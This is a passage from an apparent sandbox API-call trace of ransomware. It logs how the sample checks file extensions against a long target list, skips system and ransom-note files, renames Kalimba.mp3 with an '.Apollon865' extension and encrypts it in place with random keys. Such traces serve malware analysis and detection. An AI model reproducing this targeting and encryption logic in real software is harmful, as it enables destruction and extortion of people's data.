	[0044.475] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0044.475] lstrlenW (lpString="itw") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0044.475] lstrlenW (lpString="jet") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0044.475] lstrlenW (lpString="jtx") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0044.475] lstrlenW (lpString="kdb") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0044.475] lstrlenW (lpString="kexi") returned 4
	[0044.475] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0044.475] lstrlenW (lpString="kexic") returned 5
	[0044.475] lstrcmpiW (lpString1="a.mp3", lpString2="kexic") returned -1
	[0044.475] lstrlenW (lpString="kexis") returned 5
	[0044.475] lstrcmpiW (lpString1="a.mp3", lpString2="kexis") returned -1
	[0044.475] lstrlenW (lpString="lgc") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0044.475] lstrlenW (lpString="lwx") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0044.475] lstrlenW (lpString="maf") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0044.475] lstrlenW (lpString="maq") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0044.475] lstrlenW (lpString="mar") returned 3
	[0044.475] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0044.476] lstrlenW (lpString="marshal") returned 7
	[0044.476] lstrcmpiW (lpString1="mba.mp3", lpString2="marshal") returned 1
	[0044.476] lstrlenW (lpString="mas") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0044.476] lstrlenW (lpString="mav") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0044.476] lstrlenW (lpString="maw") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0044.476] lstrlenW (lpString="mdbhtml") returned 7
	[0044.476] lstrcmpiW (lpString1="mba.mp3", lpString2="mdbhtml") returned -1
	[0044.476] lstrlenW (lpString="mdn") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0044.476] lstrlenW (lpString="mdt") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0044.476] lstrlenW (lpString="mfd") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0044.476] lstrlenW (lpString="mpd") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0044.476] lstrlenW (lpString="mrg") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0044.476] lstrlenW (lpString="mud") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0044.476] lstrlenW (lpString="mwb") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0044.476] lstrlenW (lpString="myd") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0044.476] lstrlenW (lpString="ndf") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0044.476] lstrlenW (lpString="nnt") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0044.476] lstrlenW (lpString="nrmlib") returned 6
	[0044.476] lstrcmpiW (lpString1="ba.mp3", lpString2="nrmlib") returned -1
	[0044.476] lstrlenW (lpString="ns2") returned 3
	[0044.476] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0044.476] lstrlenW (lpString="ns3") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0044.477] lstrlenW (lpString="ns4") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0044.477] lstrlenW (lpString="nsf") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0044.477] lstrlenW (lpString="nv") returned 2
	[0044.477] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0044.477] lstrlenW (lpString="nv2") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0044.477] lstrlenW (lpString="nwdb") returned 4
	[0044.477] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0044.477] lstrlenW (lpString="nyf") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0044.477] lstrlenW (lpString="odb") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0044.477] lstrlenW (lpString="odb") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0044.477] lstrlenW (lpString="oqy") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0044.477] lstrlenW (lpString="ora") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0044.477] lstrlenW (lpString="orx") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0044.477] lstrlenW (lpString="owc") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0044.477] lstrlenW (lpString="p96") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0044.477] lstrlenW (lpString="p97") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0044.477] lstrlenW (lpString="pan") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0044.477] lstrlenW (lpString="pdb") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0044.477] lstrlenW (lpString="pdm") returned 3
	[0044.477] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0044.478] lstrlenW (lpString="pnz") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0044.478] lstrlenW (lpString="qry") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0044.478] lstrlenW (lpString="qvd") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0044.478] lstrlenW (lpString="rbf") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0044.478] lstrlenW (lpString="rctd") returned 4
	[0044.478] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0044.478] lstrlenW (lpString="rod") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0044.478] lstrlenW (lpString="rodx") returned 4
	[0044.478] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0044.478] lstrlenW (lpString="rpd") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0044.478] lstrlenW (lpString="rsd") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0044.478] lstrlenW (lpString="sas7bdat") returned 8
	[0044.478] lstrcmpiW (lpString1="imba.mp3", lpString2="sas7bdat") returned -1
	[0044.478] lstrlenW (lpString="sbf") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0044.478] lstrlenW (lpString="scx") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0044.478] lstrlenW (lpString="sdb") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0044.478] lstrlenW (lpString="sdc") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0044.478] lstrlenW (lpString="sdf") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0044.478] lstrlenW (lpString="sis") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0044.478] lstrlenW (lpString="spq") returned 3
	[0044.478] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0044.478] lstrlenW (lpString="te") returned 2
	[0044.479] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0044.479] lstrlenW (lpString="teacher") returned 7
	[0044.479] lstrcmpiW (lpString1="mba.mp3", lpString2="teacher") returned -1
	[0044.479] lstrlenW (lpString="tmd") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0044.479] lstrlenW (lpString="tps") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0044.479] lstrlenW (lpString="trc") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0044.479] lstrlenW (lpString="trc") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0044.479] lstrlenW (lpString="trm") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0044.479] lstrlenW (lpString="udb") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0044.479] lstrlenW (lpString="udl") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0044.479] lstrlenW (lpString="usr") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0044.479] lstrlenW (lpString="v12") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0044.479] lstrlenW (lpString="vis") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0044.479] lstrlenW (lpString="vpd") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0044.479] lstrlenW (lpString="vvv") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0044.479] lstrlenW (lpString="wdb") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0044.479] lstrlenW (lpString="wmdb") returned 4
	[0044.479] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0044.479] lstrlenW (lpString="wrk") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0044.479] lstrlenW (lpString="xdb") returned 3
	[0044.479] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0044.480] lstrlenW (lpString="xld") returned 3
	[0044.480] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0044.480] lstrlenW (lpString="xmlff") returned 5
	[0044.480] lstrcmpiW (lpString1="a.mp3", lpString2="xmlff") returned -1
	[0044.480] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.Apollon865") returned 57
	[0044.480] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.apollon865"), dwFlags=0x1) returned 1
	[0044.480] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.Apollon865" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0044.480] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=8414449) returned 1
	[0044.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0044.481] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0044.482] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0044.482] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0044.482] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x806800, lpName=0x0) returned 0x148
	[0044.483] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0x6800) returned 0x100000
	[0044.485] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0044.680] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0044.681] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0044.681] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0044.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0044.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0044.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.681] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.681] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0044.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.682] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.682] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0045.010] CloseHandle (hObject=0x148) returned 1
	[0045.010] CloseHandle (hObject=0x158) returned 1
	[0045.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0045.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0045.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0045.024] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".") returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="..") returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="windows") returned -1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="bootmgr") returned 1
	[0045.024] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="temp") returned -1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="pagefile.sys") returned -1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="boot") returned 1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ids.txt") returned 1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="ntuser.dat") returned -1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="perflogs") returned -1
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2="MSBuild") returned -1
	[0045.025] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0045.025] lstrlenW (lpString="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3") returned 46
	[0045.025] lstrcpyW (in: lpString1=0x119e64e, lpString2="Maid with the Flaxen Hair.mp3" | out: lpString1="Maid with the Flaxen Hair.mp3") returned="Maid with the Flaxen Hair.mp3"
	[0045.025] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0045.025] lstrlenW (lpString="Apollon865") returned 10
	[0045.025] lstrcmpiW (lpString1="n Hair.mp3", lpString2="Apollon865") returned 1
	[0045.025] lstrlenW (lpString=".dll") returned 4
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".dll") returned 1
	[0045.025] lstrlenW (lpString=".lnk") returned 4
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".lnk") returned 1
	[0045.025] lstrlenW (lpString=".ini") returned 4
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".ini") returned 1
	[0045.025] lstrlenW (lpString=".sys") returned 4
	[0045.025] lstrcmpiW (lpString1="Maid with the Flaxen Hair.mp3", lpString2=".sys") returned 1
	[0045.025] lstrlenW (lpString="Maid with the Flaxen Hair.mp3") returned 29
	[0045.025] lstrlenW (lpString="bak") returned 3
	[0045.025] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0045.025] lstrlenW (lpString="ba_") returned 3
	[0045.025] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0045.026] lstrlenW (lpString="dbb") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0045.026] lstrlenW (lpString="vmdk") returned 4
	[0045.026] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0045.026] lstrlenW (lpString="rar") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0045.026] lstrlenW (lpString="zip") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0045.026] lstrlenW (lpString="tgz") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0045.026] lstrlenW (lpString="vbox") returned 4
	[0045.026] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0045.026] lstrlenW (lpString="vdi") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0045.026] lstrlenW (lpString="vhd") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0045.026] lstrlenW (lpString="vhdx") returned 4
	[0045.026] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0045.026] lstrlenW (lpString="avhd") returned 4
	[0045.026] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0045.026] lstrlenW (lpString="db") returned 2
	[0045.026] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0045.026] lstrlenW (lpString="db2") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0045.026] lstrlenW (lpString="db3") returned 3
	[0045.026] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0045.027] lstrlenW (lpString="dbf") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0045.027] lstrlenW (lpString="mdf") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0045.027] lstrlenW (lpString="mdb") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0045.027] lstrlenW (lpString="sql") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0045.027] lstrlenW (lpString="sqlite") returned 6
	[0045.027] lstrcmpiW (lpString1="ir.mp3", lpString2="sqlite") returned -1
	[0045.027] lstrlenW (lpString="sqlite3") returned 7
	[0045.027] lstrcmpiW (lpString1="air.mp3", lpString2="sqlite3") returned -1
	[0045.027] lstrlenW (lpString="sqlitedb") returned 8
	[0045.027] lstrcmpiW (lpString1="Hair.mp3", lpString2="sqlitedb") returned -1
	[0045.027] lstrlenW (lpString="xml") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0045.027] lstrlenW (lpString="$er") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0045.027] lstrlenW (lpString="4dd") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0045.027] lstrlenW (lpString="4dl") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0045.027] lstrlenW (lpString="^^^") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0045.027] lstrlenW (lpString="abs") returned 3
	[0045.027] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0045.028] lstrlenW (lpString="abx") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0045.028] lstrlenW (lpString="accdb") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accdb") returned 1
	[0045.028] lstrlenW (lpString="accdc") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accdc") returned 1
	[0045.028] lstrlenW (lpString="accde") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accde") returned 1
	[0045.028] lstrlenW (lpString="accdr") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accdr") returned 1
	[0045.028] lstrlenW (lpString="accdt") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accdt") returned 1
	[0045.028] lstrlenW (lpString="accdw") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accdw") returned 1
	[0045.028] lstrlenW (lpString="accft") returned 5
	[0045.028] lstrcmpiW (lpString1="r.mp3", lpString2="accft") returned 1
	[0045.028] lstrlenW (lpString="adb") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0045.028] lstrlenW (lpString="adb") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0045.028] lstrlenW (lpString="ade") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0045.028] lstrlenW (lpString="adf") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0045.028] lstrlenW (lpString="adn") returned 3
	[0045.028] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0045.028] lstrlenW (lpString="adp") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0045.029] lstrlenW (lpString="alf") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0045.029] lstrlenW (lpString="ask") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0045.029] lstrlenW (lpString="btr") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0045.029] lstrlenW (lpString="cat") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0045.029] lstrlenW (lpString="cdb") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0045.029] lstrlenW (lpString="ckp") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0045.029] lstrlenW (lpString="cma") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0045.029] lstrlenW (lpString="cpd") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0045.029] lstrlenW (lpString="dacpac") returned 6
	[0045.029] lstrcmpiW (lpString1="ir.mp3", lpString2="dacpac") returned 1
	[0045.029] lstrlenW (lpString="dad") returned 3
	[0045.029] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0045.029] lstrlenW (lpString="dadiagrams") returned 10
	[0045.029] lstrcmpiW (lpString1="n Hair.mp3", lpString2="dadiagrams") returned 1
	[0045.029] lstrlenW (lpString="daschema") returned 8
	[0045.029] lstrcmpiW (lpString1="Hair.mp3", lpString2="daschema") returned 1
	[0045.029] lstrlenW (lpString="db-journal") returned 10
	[0045.029] lstrcmpiW (lpString1="n Hair.mp3", lpString2="db-journal") returned 1
	[0045.030] lstrlenW (lpString="db-shm") returned 6
	[0045.030] lstrcmpiW (lpString1="ir.mp3", lpString2="db-shm") returned 1
	[0045.030] lstrlenW (lpString="db-wal") returned 6
	[0045.030] lstrcmpiW (lpString1="ir.mp3", lpString2="db-wal") returned 1
	[0045.030] lstrlenW (lpString="dbc") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0045.030] lstrlenW (lpString="dbs") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0045.030] lstrlenW (lpString="dbt") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0045.030] lstrlenW (lpString="dbv") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0045.030] lstrlenW (lpString="dbx") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0045.030] lstrlenW (lpString="dcb") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0045.030] lstrlenW (lpString="dct") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0045.030] lstrlenW (lpString="dcx") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0045.030] lstrlenW (lpString="ddl") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0045.030] lstrlenW (lpString="dlis") returned 4
	[0045.030] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0045.030] lstrlenW (lpString="dp1") returned 3
	[0045.030] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0045.031] lstrlenW (lpString="dqy") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0045.031] lstrlenW (lpString="dsk") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0045.031] lstrlenW (lpString="dsn") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0045.031] lstrlenW (lpString="dtsx") returned 4
	[0045.031] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0045.031] lstrlenW (lpString="dxl") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0045.031] lstrlenW (lpString="eco") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0045.031] lstrlenW (lpString="ecx") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0045.031] lstrlenW (lpString="edb") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0045.031] lstrlenW (lpString="epim") returned 4
	[0045.031] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0045.031] lstrlenW (lpString="fcd") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0045.031] lstrlenW (lpString="fdb") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0045.031] lstrlenW (lpString="fic") returned 3
	[0045.031] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0045.031] lstrlenW (lpString="flexolibrary") returned 12
